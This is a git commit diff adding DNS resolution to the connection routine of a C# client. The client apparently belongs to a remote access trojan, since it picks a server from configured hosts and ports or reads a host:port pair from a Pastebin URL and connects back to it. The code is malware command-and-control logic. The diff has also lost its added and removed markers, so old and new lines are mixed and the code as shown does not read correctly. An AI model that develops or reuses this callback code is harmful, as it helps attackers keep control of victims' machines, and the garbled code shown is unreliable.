Merge pull request #56 from MrDevBot/patch-2

DDNS Resolver for Initialise Client
This commit is contained in:
NYAN CAT 2019-06-17 10:49:30 +03:00 committed by GitHub
commit 7d988be105
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -44,21 +44,28 @@ namespace Client.Sockets
};
if (Settings.Pastebin == "null")
{
Client.Connect(Convert.ToString(Settings.Hosts.Split(',')[new Random().Next(Settings.Hosts.Split(',').Length)]),
Convert.ToInt32(Settings.Ports.Split(',')[new Random().Next(Settings.Ports.Split(',').Length)]));
Regex r = new Regex("^[a-zA-Z0-9]*$");
string ServerIP = Convert.ToString(Settings.Hosts.Split(',')[new Random().Next(Settings.Hosts.Split(',').Length)]);
Int16 ServerPort = Convert.ToInt16(Settings.Ports.Split(',')[new Random().Next(Settings.Ports.Split(',').Length)]);
if (r.IsMatch(ServerIP)) //check if the address is alphanumric (meaning its a domain)
{
IPAddress[] addresslist = Dns.GetHostAddresses(ServerIP); //get all IP's connected to that domain
foreach (IPAddress theaddress in addresslist) //we do a foreach becasue a domain can lead to multiple IP's
{
Client.Connect(theaddress, ServerPort); //lets try and connect!
}
}
else
{
using (WebClient wc = new WebClient())
{
NetworkCredential networkCredential = new NetworkCredential("", "");
wc.Credentials = networkCredential;
string resp = wc.DownloadString(Settings.Pastebin);
string[] spl = resp.Split(new[] { ":" }, StringSplitOptions.None);
Settings.Hosts = spl[0];
Settings.Ports = spl[new Random().Next(1, spl.Length)];
Client.Connect(Settings.Hosts, Convert.ToInt32(Settings.Ports));
Client.Connect(ServerIP, ServerPort); //legacy mode connect (no DNS)
}
//Client.Connect(Convert.ToString(Settings.Hosts.Split(',')[new Random().Next(Settings.Hosts.Split(',').Length)]),
// Convert.ToInt16(Settings.Ports.Split(',')[new Random().Next(Settings.Ports.Split(',').Length)]));
}
Debug.WriteLine("Connected!");